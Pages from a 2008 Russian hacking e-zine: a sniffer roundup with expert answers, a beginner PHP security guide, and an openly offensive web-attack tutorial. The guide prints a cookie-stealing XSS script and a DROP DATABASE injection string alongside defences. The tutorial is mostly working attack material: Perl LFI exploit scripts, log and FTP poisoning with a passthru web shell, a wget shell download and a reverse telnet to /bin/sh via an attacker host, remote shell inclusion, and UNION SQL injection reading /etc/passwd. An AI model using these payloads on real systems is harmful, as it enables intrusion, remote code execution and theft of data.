Сниффер в руках опытного администратора своего рода «волшебная палочка» взмахнув которой, можно с легкостью решить разного рода проблемы. Например: 1. Разобраться в конфигурировании «чужой сети». Эта возможность актуальна для администраторов сменивших место работы и желающие быстрей освоится на новом «месте». В этом случае запуск сниффера и тщательный анализ лога поможет быстрей разобраться с функционирование новой сети. 2. Обнаружить «вредных» пользователей, которые лезут в места, в которых им делать нечего или пользователей генерирующих большой объем трафика. 3. Тестировать работу различных сетевых служб, проверять реакцию firewall при фильтрации определенного трафика. Возможности сниффера для Security-специалиста 1. Анализ перехваченного трафика с целью выявления приложений/сервисов передающих важные данные в открытом виде. 2. Обнаружить «слабые» места в конфигурации сети, брешь в которых может подставить под угрозу безопасность сети. Возможности сниффера для программиста 1. Программисты, специализирующиеся на разработке сетевых приложений, с помощью сниффера, могут очень удобно отлаживать программы с архитектурой клиент-сервер или просто разбираться в работе сетевых протоколов. Антиснифер PromiScan (http://securityfriday.com) Продукт от японских разработчиков. Это один из немногих представителей антиснифферов под платформу Windows. PromiScan, позволяет просканировать заданный диапазон IP адресов и обнаружить сетевые интерфейсы работающие в promiscuous mode. Программа идеально подойдет для обнаружения пассивных снифферов. Вопросы экспертам: 1. Какие бы Вы порекомендовали снифферы под Win/Nix платформы? Почему именно эти? 2. Есть стереотип, что снифферами пользуются в основном хакеры для перехвата конф. инфы, а какую пользу может сослужить сниффер для проф. администраторов/security специалистов? 3. Какие меры, администраторам, необходимо предпринимать, чтобы вовремя обнаружить снифферы? Как можно обнаружить уже работающий сниффер (windows/nix)? 4. Многие компании используют беспроводные сети. При таком раскладе перехватить траффик более чем реально. Каким образом можно защитить такие сети от "уш" снифферов? 5. Не для кого не секрет, что помимо программных снифферов существуют еще и аппаратные. В каких случаях нужно прибегать к их помощи? Зараза Security специалист, создатель сайта security.nnov.ru, автор 3proxy.

Page 29: VR-Online (December 2008)

1. Для большинства целей хорошо годится Wireshark (бывший Ethereal). Преимущества - конечно же бесплатность, наличие графического интерфейса и очень глубокий анализ большого количества протоколов. В тех случаях, когда требуется активный перехват и декодирование данных - Cain & Abel. 2. Это совершенно ложное убеждение. В настоящее время сети, как правило, строятся на коммутаторах, не на хабах, и перехватывать трафик от других машин может быть достаточно проблематично. Конечно, есть специализированные средства, например Cain & Abel, позволяющие перехватывать трафик путем ARP-спуфинга, но используются они значительно реже, чем тот же Wireshark или даже tcpdump. Я использую снифер чаще всего для отладки сетевых приложений, в частности при разработке 3proxy. Достаточно часто приходится использвоать снифер для ответа на специфичные вопросы, типа "кто генерирует большой трафик к такому-то серверу и что это за трафик". Но чаще в такой ситуации используются все-таки не сниферы, а средства анализа трафика от оборудования, например, основанные на Netflow. Снифер иногда приходится использовать для поиска проблем сетевой конфигурации, особенно в чужих сетях, когда они плохо документированы. Ну и, конечно, без снифера просто невозможно обойтись в процессе обучения или самоподготовки - он позволит "увидеть" сеть. 3. 100% надежного способа обнаружения работающего снифера нет, только по некоторым косвенным признакам (увеличение времени отклика на ping, DNS-запросы по IP-адресам пролетающих пакетов, иногда ответы на "чужие" пакеты, ARP-спуфинг, при активном перехвате). Если снифер работает только на прослушку, обнаружить его невозможно. Защита от снифферов - это в первую очередь, правильный выбор топологии сети, защита от ARP-спуфинга, физическая защита сети и компьютеров и минимизация привилегий пользователя - для снифинга всегда требуются высокие. 4. Я бы не сказал, что в правильно настроенной беспроводной сети трафик тривиально перехватывается. При правильной настройке точки доступа и, что немаловажно, клиентских устройств, трафик будет шифроваться. Естественно, рекомендуется использовать сертификаты, или, в небольших/домашних сетях, генерировать разные ключи для разных клиентов, если это поддерживает точка доступа. Не могу не прорекламировать поэтому поводу книгу Сергея Гордейчика (aka 'offtopic') "Безопасность беспроводных сетей". 5. Да, аппаратные сниферы (сетевые анализаторы) очень полезны, когда необходимо найти проблему, особенно достаточно низкого уровня, на большой сети. Например, для обнаружения "петли" в Ethernet-коммутаторах. Такой снифер, фактически является специализированным ноутбуком, имеет встроенный оптимизированный сетевой адаптер и встроенный хаб, чтобы можно было "прогнать" трафик через анализатор, и, конечно же, специальный софт. С учетом того, что стоит такой аппарат весьма недешево, используются они как правило на сложных корпоративных сетях и в телекоммуникационных компаниях. Дмитрий Системный администратор крупной компании 1. Снифферов к настоящему времени написали великое множество, так, что какой использовать - целиком зависит от поставленной задачи. Универсальным является tcpdump, встроенный в любую UNIX-like систему, а также существующий для платформы win32. Если перехватываемый трафик закодирован, либо зашифрован, стандартный вывод tcpdump можно просто передать на ввод процесса-обработчика (декодера, либо дешифратора).

Page 30: VR-Online (December 2008)

2. Польза от использования сниффера в профессиональной деятельности админов и security специалистов очевидна - это очень эффективный инструмент, который можно использовать для выяснения причин неполадок в работе и настройке любых сетевых сервисов, firewall. Помимо этого с его помощью определяются уязвимости сетевой инфраструктуры, элементарное детектирование нерегламентированного трафика в сети, создаваемого нерадивыми пользователями или их софтом. 3. Классическим способом определения потенциального сниффера, работающего на конкретном узле, является выявление сетевых интерфейсов, работающих в promiscuous mode, когда интерфейс захватывает любые пакеты. Нельзя также забывать, что лучше предотвращать предпосылки для возможности установки сниффера. Одним из действенных способов является полный запрет на запуск и установку пользователями нерегламентного ПО. 4. Защита беспроводных сетей эффективно осуществляется при помощи протоколов шифрования трафика, таких как WPA/WPA2 (из бесплатных). 5. Аппаратные снифферы обычно применяются для обеспечения безопасности периметра сети. Преимуществом является более высокое быстродействие такой системы, т.к. она специализирована и не выполняет никаких других задач, а также то, что это, как правило, коммерческие системы, имеют более развитые возможности управления и настройки. Итоги На рынке ПО представлено небольшое количество профессиональных программ подобного класса. Рассмотренные снифферы в этой статье можно считать профессиональными инструментами, которые хорошо справляются с возложенными на них задачами. У многих читателей после прочтения статьи мог возникнуть резонный вопрос: «Какая я же все-таки программа лучше?». К сожаление точного ответа на этот вопрос дать невозможно, т.к. каждый инструмент хорош для решения определенной задачи. Для выявления фаворита, который будет отвечать Вашим требованиями – мы рекомендуем скачать представленные в обзоре программы и самостоятельно их протестировать при решении реальных задач. Written by Игорь Антонов aka Spider_NET E-mail: [email protected]

Page 31: VR-Online (December 2008)

Безопасность PHP скриптов Безопасность php-скриптов была проблемой во все времена. Большая мощность и гибкость php стали основной их уязвимостью. Простая способность принимать данные из веб-страницы также влечет за собою потенциальную опасность-это основа для различных атак с целью кражи информации из базы данных. Но не только сервер может находится под угрозой атаки, это может оказаться опасным для всех посетителей сайта, так как с помощью инъекций можно внедрить вредоносный код. В это статье я перечислю некоторые известные атаки и способы защиты от них. Это очень важно для начинающих веб-мастеров, поскольку учебники и базовая документация не рассматривает эти вопросы достаточно глубоко. Кроме того виды атак, которые я рассмотрю в этой статье не ограничивается только php ,поскольку они используют и стандартные html запросы. SQL-Injection Sql иньекция-угроза безопасности, которая появляется там, где php скрипт предоставляет данные из базы данных, используя в качестве входных некоторые определенные содержания. Теперь рассмотрим на простом примере. Допустим, у нас есть скрипт, который показывает веб-страницу в соответствии с запросом пользователя: 'page=' index.php?page=links Этот скрипт выдирает из страницы идентификатор 'page' и использует sql запрос для того, чтобы загрузить страницы с таким идентификатором. <?php $page= $_GET['page']; $res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1"); ?> Вышеприведенный пример является распространенным примером содержания поиска. Все что нужно для проведения атаки - обойти одиночные кавычки и внедрить вредоносный код. Вся задача атакующего, состоит в том, чтобы передать одну простую строку через URL: index.php?page=%27%3B%20DROP%20DATABASE%20-- Вышеприведенный пример является запросом. Сервер будет разбирать кодировку символов в ' .DROP DATABASE фактически закрывает одиночные кавычки вашего первоначального запроса и добавляет новые директивы в базу данных. Конечно, это является вопиющим примером, который не нуждается в работе, особенно если на уровне пользователя, используя сценарий не позволяет слива всей базе данных. Но можно сделать множество других вещей, например выдрать имена пользователей и пароли, к примеру можно взять id=1,как правило это идентификатор администаротора. Или можно избежать проверку пароля, либо каких-то других данных, извлечение фильтра возможно прежде всего потому, что данные переданные через url находятся в положение с фильтром. Естественно это затрудняет злоумышленнику знать структуру ваших таблиц и полей, если он не видит кода. В некоторых случаях можно угадать, особенно если скрипты видны на рапортах об

Page 32: VR-Online (December 2008)

ошибках. А что же делать в случаях с проектами с открытым исходным кодом, ведь в тысячях строк кода могут пропустить дыры . Самый простой способ от таких sql инъекций заключается в том, чтобы избежать такие чувствительные символы как двойной кавычки. Лучше всего использовать базу данных-родной для этой функции в случае нашего пример будет: <?php $page= mysql_real_escape_string ($_GET['page']); $res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1"); ?> Однако гораздо лучшим способом защиты от sql иньекций является использование цифровых идентификаторов, где вместо index.php?page=links использовать ?page=1 и подает все данные из этой переменной в целое: <?php $page= (int)$_GET['page']; $res= mysql_query("SELECT FROM table_with_pages WHERE page_id={$page} LIMIT 1"); ?> Другой способ состоит в том, чтобы фильтровались допустимые символы.Для простых идентификаторов ,допустимые символы, как правило, буквенно-цифровые (Z-9), которые могут использоваться в страницах с простым поиском. Фильтр с preg_match: <?php $matches= array(); preg_match ('/^([a-z0-9])$/i', $page, $matches); //Идентификатор найдет страницу в $matches[1] ?> Следовательно, из вышеперечисленных методов для защиты от sql иньекций надо: 1.Использовать числа, как данные идентификаторов, где это возможно 2.Быть аккуратным с использованием чувствительных символов 3.Филитровать идентификаторы для ввода символов 4.Запрятать исходный код В заключение, так как мы использовали $_GET переменную существует угроза и для POST- данных.Так как злоумышленнику написать вредоносную программу, которая открывает подключение к вашему скрипту и посылает запросы через POST данные. XSS Atacks Xss(Cross Site Scripting Attacks) - вид атаки, которые служат для направленного похищения личных данных, кражи паролей и т.д. Xss не такая сильная угроза для базы данных по сравнению со Sql inj, так как скули направлены как правило на администраторов, а не на пользователей сайта. Xss заключается в добавлении кода в Java Script,как правило в любой контент, которій будет предоставлен пользователям (блоги, форумы, коментарии и т.д.). С помощью внедрения вредоносного кода в javascript злоумышленник может проводить атаки, а пользователь и не будет об этом подозревать. Чаще всего xss служат для кражи куков. Так как куки будут посылаться то только для домена, где они поставлены. Поэтому яваскрипт использует направленный на домен запрос, который можно перенаправить на другой домен, где злоумышленник может прочитать его содержимое.

Page 33: VR-Online (December 2008)

Например, ниже приведен пример, когда ксс можно вставить в пост на форуме, который не будет заметен пользователям: <script> document.location = 'http://domain.com/somescript.php?cookies=' + document.cookie; </script> Скрипт направляет куки браущера на атакующийся домен,и уже в юрле запросе направляется на атакующий сервер. Но этот пример не ефективен,так как в брле браузера видны все редиректы с сайта,поэтому злоумышленник может обернуть url запрос внутри тега <img> <script> document.getElementById('some_div').innerHTML= '<img src="http://domain.com/somescript.php?cookies=' + document.cookie + ' />'; </script> Видно что куки будут посылаться злоумшленнику,могут быть перехвачены куки администратора, ну и понятно что пароли всех пользователей, данные, будут достыпны... В целях защиты вашего сайта от xss нападений следует фильтровать данные.Везде, где есть данные, которые ведут к пользователям(имена, посты, блоги, комментарии и т.д.)должны быть отфильтрованы.Самым простым способом является кодирование html ентинов, где <становится <,> становится>,таким образом браузеры не будут разбирать любые теги, которые позволили бы javascript. Еще можно через могучий пхп, а именно через htmlentities(). Более сложные фильтрации предполагают кодирование символов, хаки, которые возвращали бы запросы к дополнительным html тегам, написание подпрограмм, которые направлены на опасный сценарий комбинаций и т.д. В дополнение к фильтрации входящих данных, убедитесь, что куки не хранят конфиденциальные данные(имена пользователей, пароли...). Как тест, чтобы проверить, правильно ли проводится ваша фильтрация пробуем добавить: <script> alert(" XSS!"); </script> CSRF Atacks Cross Site Request Forgery Attacks схожи с xss в том, что злоумышленник также исполняет вредносный код на форуме, блоге, или другой любой интерактивной частью сайта. Но в отличии от xss csrf не требует javascript. Plain HTML или даже BBCode достаточно для проведения csrf нападений, которые требует внимательного рассмотрения. Начну с одного просто примера, допустим у вашего сайта есть скрипт delete.php ,который удаляет содержимое базы данных. Он принимает числовой ID в качестве входной информации для определения содержания, которое необходимо исключить: delete.php?id=123 Допустим, что злоумышленник знает про этот скрипт. Все что требуется атакуещему, это вставить изображение с просьбой установить SRC на этот скрипт, вот пример поста на форуме, с использованием бб кодов. Сервер бы перевел этот хтмл тег в изображение. Любой, кто будет попадет на этот скрипт, будет иметь запрос о вызове скрипта, и если скрипт не защищен, то будут удалятся данные с ид=123. И так что бы предотвратить csrf атаки следует: прежде всего это работает только с GET запросы, так как нет другого пути sneaky выдавать скрытый запрос

Page 34: VR-Online (December 2008)

без изображения (и без сценария, который используется в ксс нападениях),исключением могут быть страницы с фреймами иили "плавающими" фреймами,которые сложнее вписывать в форуме. Таким образом, следует переместить все данные для ввода из GET в POST. Это может немного усложнить управление скриптами,поскольку с тем,чтобы получить возможность отправки данных потрубется форма, а при гет запросе были простые ярлыки. И, конечно, все ваши потенциально опасные сценарии требуют второе подтверждение. Так что, даже если CSRF нападение произойдет, вам нужно будет подтвердить (повреждение) запросу. Также следует сравнить временные метки. То есть если есть потенциально опасные скрипты следует выполнять синхронизацию времени изнутри, с отметкой времени в текущей форме. Если разница больше, чем, скажем, 10 секунд, не выполняют потенциально вредных действий. Так как при обращении к странице, где вы должны нажать удалить некоторые содержания, у вас есть 10 секунд, щелкнуть по нему, после чего скрипт будет отказываться от удаления (перезагрузка для сброса времени, конечно). Итак, при достижении странцы с csrf нападением, если вы посетители страничку более чем 10 секунд назад, атака не будет работать. Заметим, что эта защита не является совершенной. В некоторых сложных AJAX приложениях, которые принимают данные через URL (GET), и передают его на сервер скрипт через POST, можно использовать CSRF атаки, если злоумышленник знает ваше программное обеспечение - это как случай с открытыми исходными кодами. PHP variable insertion Это является одной из угроз безопасности, которая более-менее исправлена. Ну иногда встречаются сервера без патча, поэтому упомяну. Еще из php и php4, во время передачи данных в скриптах в качестве зарегистрированных глобальных переменных. Например: script.php?somevar=blahblah&anothervar=123 Если пхп настройки вашего сервера позволяют зарегистрированные глобальных переменных, переменные somevar и anothervar станут глобальные переменные PHP $somevar (содержащие строку "blahblah") и $ anothervar (содержит целое число 123). Вы не должны использовать громоздкие $ _GET ['somevar'] и $ _GET ['anothervar']. Так как это создает угрозу безопасности. Если злоумышленник каким-то образом узнает имена переменных в ваших скриптах и приходит к выводу о том, что вы используете переменные без ее инициализации, все что он должен сделать, это пройти на определенный урл, как в примере выше. Часто используют "неинициализированные" переменные, то есть: <?php if ($a=1) $somevar="thisorthat"; $res= mysql_query("INSERT INTO sometable (somefield) VALUES ('{$somevar}')"); ?> Начинающий PHP-программист думает, что $ somevar является NULL, если $ не 1 , поэтому SQL будет действителен. Но хакер увидит возможность! Итак, самый простой способ защитить свои скрипты от таких глобальных зарегистрированых, заключается в свою очередь, в использовании директивы register_globals OFF. Большинство PHP-серверов в настоящее время имеют его по умолчанию, но всегда проверяйте ваш php.ini (где директива), чтобы убедиться. Если у вас нет доступа к PHP.ini, напишите скрипт для вызова phpinfo (); Это выведет настрйки сервера и вы сможете увидеть, включен register_globals или нет.

Page 35: VR-Online (December 2008)

Если вы не можете изменить ваш php.ini, вы можете установить эту директиву с помощью. Htaccess, если настройки сервера позволяет: php_flag register_globals off Входящая проверка Еще один шаг в деле защиты ваших скриптов - проверка контента и материала вашего сайта. Проверить все данные, которые получают скрипты. Инициализируйте все ваши переменные (независимо от директивы register_globals), прежде чем использовать их, по умолчанию. Выполняйте проверку на допустимые символы в строковых переменных, особенно если они используются в качестве идентификаторов в базе данных. Делайте проверку через яваскрипт. В данном случае пользователи будут проверять данные, злоумышленник будет избегать проверки данных и будет стараться передавать данные напрямую. Когда скрипты будут опознавать такие ошибки пусть просто перейдут на основной index.php. Это заведет злоумышленика в замешательство. Вы также можете отслеживать ip адреса попытки SQL инъекции, и автоматически поставить запрет пользователям которые приняли попытку нападения, но большего смысла нет, так как прокси пользуется каждый восьмиклассник. Заключение В этом небольшом руководстве я рассмотрел наиболее популярные угрозы безопасности ваших пхп скриптов.Во всяком случае новичкам в php должно помочь.))

Written by baltazar WWW: http://forum.xaknet.ru

Page 36: VR-Online (December 2008)

WEB-уязвимости на практике Всем привет, приступим сразу к делу, сегодня я вам расскажу о уже всем известных SQL,XSS, а также о малоизвестных LFI, RFI, SSI, ICH.Я не буду банально рассказывать вам теорию миллиард первый раз о ксс и скулях, я покажу вам что с ними можно сделать Поехали! LFI/RFI Данный тип атак хорошо известен многим,он заключается в том,что когда система считывает файлы используются "плохие" запрограммированые страницы, которые делают отстук на следующие файлы, требуя включать команды). Логично, что при таких отстуках необохдимо не инициализировать переменные, вот так: require($file); require("includes/".$file); require("languages/".$lang.".php"); require("themes/".$tema."/config.php"); Методов проексплоить его дохрена поэтому сразу привожу примеры: 1. require($file); http://host/?file=/etc/passwd 2. require("includes/".$file); http://host/?file=../../../../../etc/passwd 3. require("languages/".$lang.".php");

require("themes/".$theme."/config.php");

http://host/?file=../../../../../etc/passwd%00 4. require("languages/".$_COOKIE['lang'].".php");

javascript:document.cookie = "lan=../../../../../etc/passwd%00"; А вот этот скрипт поможет вам заекспить данную багу через Post или Get запросы: #! /usr/bin/perl # perl script to exploit LFI based in GET and POST requests # Example: http://site.com/index.php?var= # URL: http://site.com/index.php # Variable: var # Method: POST # # by Pepelux (pepelux[at]enye-sec[dot]org) use LWP::UserAgent; $ua = LWP::UserAgent->new; my ($host, $var, $method) = @ARGV ; unless($ARGV[2]) { print "Usage: perl $0 <url> <vulnerable_var> <method>\n"; print "\tex: perl $0 http://site.com/index.php var GET\n";

Page 37: VR-Online (December 2008)

print "\tex: perl $0 http://site.com/index.php var POST\n\n"; exit 1; } $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)"); $ua->timeout(10); $host = "http://".$host if ($host !~ /^http:/); while () { print "file to edit: "; chomp($file=<STDIN>); if ($method =~ /GET/) { $url = $host."?".$var."=../../../../..".$file."%00"; $req = HTTP::Request->new(GET => $url); $req->header('Accept' => 'text/html'); } else { $req = HTTP::Request->new(POST => $host); $req->content_type('application/x-www-form-urlencoded'); $req->content($var."=../../../../".$file."%00"); } $res = $ua->request($req); if ($res->is_success) { $result = $res->content; print $result; } else { print "Error\n"; } } Выполнение команд удаленно

Этот тип уязвимости возможен для любой системы, где файлы доступны пользователю для чтения, но можно и выполнять некоторые системные команды. Для этого нам нужно написать в любом файле этот код: <? passthru($_GET[CMD])?> СMD - это имя нашей переменной для отправки данных через GET. Теперь ищем место где можно записать данные, это можно осуществить несколькими способами: 1. Инъекции в PHP кодах в логах Apache Мы знаем, что Apache сервер сохраняет логи всех операций, в access_log и error_log.Мы можем играть с зареганами данными и использовать пхп коды. Например, чтобы поместить в error_log файл достаточно сделать вызов несуществующей страницы, но отправку кода осуществляем в файл: http://host/xxxxxxx = <? passthru(\$_GET[CMD])?> Это добавит строку в error_log, нам останется загрузить файл таким же способом как мы делали до этого и отправить через цмд команды для исполнения: http://host/?file=../../../var/apache/error_log&cmd=ls /etc http://host/?file=../../../var/apach..._log&cmd=uname –a

Page 38: VR-Online (December 2008)

Теперь остается узнать, когда мы можем трогать логи апача, а зависит это от операционной системы и админа). Один из вариантов заключается в поиске типичных директорий, где хранятся логи: /var/log/apache/ /var/log/httpd/ /usr/local/apache/logs/ ...... В общем, на серве мы видим: /path/host.com/www /logs /data В этом случае мутим путь файла для несуществующей директории: http://host/?file=xxxx. И на экране в этом случае увидим: Warning: require(xxxx) [function.require]: failed to open stream: No such file or directory in /var/www/host.com/www/p.php on line 2 Интуитивно понятно, что логи в: /var/www/host.com/logs. Другой вариант - это в файле httpd.conf посмотреть: ErrorLog /var/log/apache/error.log или вот так в шаровом: ErrorLog /home/chs/host.com/home/logs/error_log. Но как я писал, что все зависит от ОС и версии Апача. Также можно обнаружить логи апача в проц. таблице: /proc/{PID}/fd/{FD_ID} (только на некоторых системах так канает) и юзаем этот скрипт: #! /usr/bin/perl # perl script to serach apache logs path # Example: # URL: http://site/index.php # Variable: file # Method: POST # # by Pepelux (pepelux[at]enye-sec[dot]org) use LWP::UserAgent; $ua = LWP::UserAgent->new; my ($host, $var, $method) = @ARGV ; unless($ARGV[2]) { print "Usage: perl $0 <url> <vulnerable_var> <method>\n"; print "\tex: perl $0 http://site.com/index.php file GET\n"; print "\tex: perl $0 http://site.com/index.php file POST\n\n"; exit 1; } $ua->agent("<? passthru(\$_GET[cmd]) ?>"); $ua->timeout(10); $host = "http://".$host if ($host !~ /^http:/); if ($method =~ /GET/) { $url = $host."?".$var."=../../../../proc/self/stat%00"; $req = HTTP::Request->new(GET => $url); $req->header('Accept' => 'text/html'); } else { $req = HTTP::Request->new(POST => $host);

Page 39: VR-Online (December 2008)

$req->content_type('application/x-www-form-urlencoded'); $req->content($var."=../../../../proc/self/stat%00"); } $res = $ua->request($req); if ($res->is_success) { $result = $res->content; $result =~ s/<[^>]*>//g; $x = index($result, " ", 0); $pid = substr($result, 0, $x); print "Apache PID: ".$pid."\n"; } if ($method =~ /GET/) { $url = $host."?".$var."=../../../../proc/self/status%00"; $req = HTTP::Request->new(GET => $url); $req->header('Accept' => 'text/html'); } else { $req = HTTP::Request->new(POST => $host); $req->content_type('application/x-www-form-urlencoded'); $req->content($var."=../../../../proc/self/status%00"); } $res = $ua->request($req); if ($res->is_success) { $result = $res->content; $result =~ s/<[^>]*>//g; $x = index($result, "FDSize",0)+8; $fdsize = substr($result, $x, 3); print "FD_SIZE: ".$fdsize."\n"; } for ($cont = 0; $cont < $fdsize; $cont++) { $file = "../../../../proc/".$pid."/fd/".$cont; open FILE, $file; while(<FILE>) { if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) { print "FD: ".$cont."\n"; exit; } } } результат будет примерно таким: pepelux:~$ perl proc.pl http://host/index.php page GET Apache PID: 4191 FD_SIZE: 64 FD: 2 Также можно использовать инъекции через урл, которой не возвращает к ошибке: http://host/index.php?x = <? passthru (\ $ _GET [CMD])?> Поможет нам этот скрипт: #! /usr/bin/perl

Page 40: VR-Online (December 2008)

# perl script to inject a CMD in a web LFI vulnerable # Example: # Host: http://host.com # type: U # # by Pepelux (pepelux[at]enye-sec[dot]org) use LWP::UserAgent; $ua = LWP::UserAgent->new; my ($host, $type) = @ARGV ; $code="<? passthru(\$_GET[cmd]) ?>"; unless($ARGV[1]) { print "Usage: perl $0 <url> [URI|UAG|REF]\n"; print "\tURI: URI\n"; print "\tUAG: User-Agent\n"; print "\tREF: Referer\n\n"; print "\tex: perl $0 http://host.com URI\n"; exit 1; } $host = "http://".$host if ($host !~ /^http:/); if ($type =~ /UAG/) { $ua->agent($code); } else { $ua->agent("Mozilla/5.0"); } if ($type =~ /URI/) { $$host .= "/" . $code; } $req = HTTP::Request->new(POST => $host); $req->content_type('application/x-www-form-urlencoded'); $req->content("x=x"); if ($type =~ /REF/) { $req->referer($code); } $res = $ua->request($req); Ввод в error_log для направления в несуществующий урл: pepelux:~$ perl cmd.pl http://host.com/blabla URI В error_log мы видим: [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not exist: /home/chs/host.com/home/html/blabla Попытка с User-Agent: pepelux:~$ perl cmd.pl http://host.com/blabla UAG В error_log мы видим одно и то же: [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not exist: /home/chs/host.com/home/html/blabla Попытки со ссылками: pepelux:~$ perl cmd.pl http://host.com/blabla REF В этом случае мы получим результат инъекции:

Page 41: VR-Online (December 2008)

[Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd]) ?> Теперь мы собираемся написать в access_log более менее "весомую инфу" (чтоб не запалили): pepelux:~$ perl cmd.pl http://host.com/index.php URI В этом случае мы получим: 11.22.33.44 - - [08/Oct/2008:12:57:39 0200] "POST /index.php/<? passthru($_GET[cmd]) ?> HTTP/1.1" 301 - "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1" Попытка с User-Agent: pepelux:~$ perl cmd.pl http://host.com/index.php UAG Инъекция: 11.22.33.44 - - [08/Oct/2008:13:00:05 0200] "POST /index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>" Попытки со ссылками: pepelux:~$ perl cmd.pl http://host.com/index.php REF Мы также получим инъекцию: 11.22.33.44 - - [08/Oct/2008:13:00:56 0200] "POST /index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1" 2. Внедрение инъекционных PHP кодов в процессорную таблицу, изображения и сессии Суть заключается в том, что я отправляю через User-Agent файл http://host/?file=../../../proc/self/environ&cmd=uname. В принципе это все для проц. Таблы. Насчет изображений, мутим в файл <? passthru ($_GET[CMD])?> и осуществление этого способа будет ЛФИ все для того же http://host/?file=path/avatar.gif&cmd=uname: <?php $user = $_GET['user']; session_register("user"); session_start(); ?> Как мы видим, она создает сессию с помощью переменной величины, полученной путем GET без каких-либо проверок. Мы можем направить: http://host/?user = <? passthru ($_GET[CMD])?> И при просмотре Cookies нашего штурмана мы можем видеть, что: PHPSESSID = b25ca6fea480073cf8eb840b203d343e. Анализ сессии папки мы можем видеть содержимое:

Page 42: VR-Online (December 2008)

pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e user 3. Внедрение кода в другие файлы Обычно мы не имеем прав для загрузки чего-либо в другие файлы, но у нас же есть ФТП логи: pepelux:~$ ftp host.com 220 ProFTPD 1.3.1 Server (Debian) [host.com] Name (pepelux): <? passthru($_GET[cmd]) ?> Password: Если мы посмотрим на /var/log/proftpd/proftpd.log мы увидим, что наш код введен: Oct 09 21:50:21 host.com proftpd[11190] host.com ([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found from [11.22.33.44] to host.com:21 Если уязвимые сервера используют старую версию Webalizer, мы также можем использовать файл usage_DATE.html для внедрения кода: Referer: <? passthru($_GET[cmd]) ?> В случае, если сервер Apache допускает PUT команды мы также можем загрузить файл с нашим кодом: pepelux:~$ telnet host.com 80 Trying 11.22.33.44... Connected to host.com. Escape character is '^]'. OPTIONS / HTTP/1.1 HTTP/1.1 200 OK Date: Sat, 11 Oct 2008 15:06:05 GMT Server: Apache/2.2.9 (Debian) PHP/5.2.6-5 Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE Content-Length: 0 Connection: close Content-Type: httpd/unix-directory Connection closed by foreign host. pepelux:~$ telnet host.com 80 Trying 11.22.33.44... Connected to host.com. Escape character is '^]'. PUT /file.txt HTTP/1.1 Content-Type: text/plain Content-Length:26 <? passthru($_GET[cmd]) ?> Загрузка шелла Если мы сможем выполнять команды удаленно мы можем попытаться загрузить шелл чтоб иметь больший доступ к системе. Одним из методов является создание основой шелла. Мы можем загружать его с помощью Wget команды: http://host/?file=xxxx&cmd=wget http://devil/shell.txt-O shell.php

Page 43: VR-Online (December 2008)

Поскольку мы не можем загрузить файл на PHP мы можем замутить в тхт а потом переименовать). Мы также можем попытаться сделать обратный Telnet: pepelux:~$ nc -vv -l -p 8888 pepelux:~$ nc -vv -l -p 8889 http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889 Если allow_url_include в php.ini, мы можем юзать шелл напрямую. Метод известен: Загружаем через Гет или Пост шелл: http://host/?file=http://devil.com/shell.txt http://host/?file=http://devil.com/shell.txt%00 Blind SQL-инъекции И так, если стоит разрешение на load_file мы можем прочитать некие системные файлы /etc/passwd Table: users(id int, user char(25), pass char(25), mail char(255)); Datas: +---+---------+----------------------------------+--------------+ | 1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host | +---+---------+----------------------------------+--------------+ | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host | +---+---------+----------------------------------+--------------+- Уязвимый код: <?php $iduser = $_GET['$id']; $link = mysql_connect("localhost", "mysql_user", "mysql_password"); mysql_select_db("database", $link); $result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link); $row = mysql_fetch_array($result); echo "User mail is:" . $row["mail"] . "\n"; ?> Мы незнаем количество столбцов и полей, но мы знаем, верное значение http://host/?id=2. Мы пытаемся изменить результаты запроса в SQL-инъекции: http://host/?id=2 ORDER BY 1 ... Ok http://host/?id=2 ORDER BY 2 ... Ok http://host/?id=2 ORDER BY 3 ... Ok http://host/?id=2 ORDER BY 4 ... Ok http://host/?id=2 ORDER BY 5 ... Error Изменяя подзапросы мы подбираем 4 колонки(дело техники: http://host/?id=-1 UNION SELECT 1,2,3,4 Высылаем соответственно: http://host/?id=2 UNION SELECT 1,2,3,4 Мы получаем:

Page 44: VR-Online (December 2008)

+---+---------+----------------------------------+--------------+ | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host | +---+---------+----------------------------------+--------------+ | 1 | 2 | 3 | 4 | +---+---------+----------------------------------+--------------+ Поскольку это первый ряд мы увидм: User mail is: pepelux@host. Если мы ставим ID =- 1 мы будем получать данные: Отправляем: http://host/?id=-1 UNION SELECT 1,2,3,4. Получаем: +---+---------+----------------------------------+--------------+ | 1 | 2 | 3 | 4 | +---+---------+----------------------------------+--------------+ На экране мы видим User mail is: 4. Мы можем использовать 4-ую колонку для инъекции: http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd'); Вобщем что тут разжевывать, дело техники, писалось об этом неоднократно и много. В общем конкретно надоело уже писать. Всем удачи))). Рекомендую к прочтению: http://www.g-brain.net/tutorials/loc...inclusions.txt http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt http://www.securityfocus.com/bid/3473 http://dev.mysql.com/doc/ Written by baltazar www: http://forum.xaknet.ru

Page 45: VR-Online (December 2008)

